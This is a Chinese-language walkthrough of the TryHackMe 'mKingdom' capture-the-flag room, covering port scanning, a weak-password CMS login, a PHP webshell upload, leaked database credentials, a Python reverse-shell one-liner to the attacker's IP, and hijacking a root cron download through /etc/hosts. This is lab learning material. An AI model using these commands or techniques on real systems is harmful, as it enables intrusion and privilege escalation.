简介:
Beginner-friendly box inspired by a certain mustache man.
房间链接:
https://tryhackme.com/r/room/mkingdom
问题:
挑战开始:
首先扫描下端口
└─$ nmap 10.10.0.105
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-23 05:29 EDT
Nmap scan report for 10.10.0.105
Host is up (0.25s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
85/tcp open mit-ml-dev
发现开放了85端口,访问下
但是并没有其他信息
尝试扫描下目录
发现app目录,访问
点击jump
在页面最下面发现是concrete5 CMS
直接尝试后台登录
(⊙o⊙)…ip被封了。。
这就有点抽象了。。重新连VPN还不换IP
阿这
开了个在线的机器尝试
测试了几个弱口令admin,password
成功进入后台
通过检查,可以在系统设置-文件中添加php后缀
保存后
直接在file中上传shell
我这里传的一个好用的webshell
https://github.com/flozz/p0wny-shell
上传后会返回url
直接访问,成功get shell
先尝试提权
find / -user root -perm -4000 -exec ls -ldb {} \;
但是并没有什么可以利用的项
其实这儿可以用linpeas
但是个人比较懒
先看看网站的配置文件
这儿获取了一个账号密码
<?php
return [
'default-connection' => 'concrete',
'connections' => [
'concrete' => [
'driver' => 'c5_pdo_mysql',
'server' => 'localhost',
'database' => 'mKingdom',
'username' => 'toad',
'password' => 'toadisthebest',
'character_set' => 'utf8',
'collation' => 'utf8_unicode_ci',
],
],
];
查看了下用户,发现正好存在toad用户
因为没有开22端口,没法ssh
这里需要一个交互shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.17.89.2',8989));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
成功收到shell
python -c "import pty;pty.spawn('/bin/bash')"
改下交互
成功切换用户
但是flag并不在用户下,尝试提权,但是并没有什么成果
在一个文件中看到了一点提示
是不是存在什么凭证
最终在env中发现了线索
base64解密ikaTeNTANtES
尝试登录mario账号
成功登录
阿这,没权限
那只能继续提权
并没有什么好用的suid sudo类提权
上传pspy
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
运行后发现每隔一段时间都会下载sh文件并执行
但是我们没权限更改这个sh文件
可以尝试看一下修改域名绑定
发现我们确实可以更改
我们在本地先创建一个文件夹,目录结构保持一致
mkdir -p www/app/castle/application/
直接echo 覆盖 hosts文件
等1分钟成功收到shell
很奇怪,提示权限不足
那就换一种方法
Comments NOTHING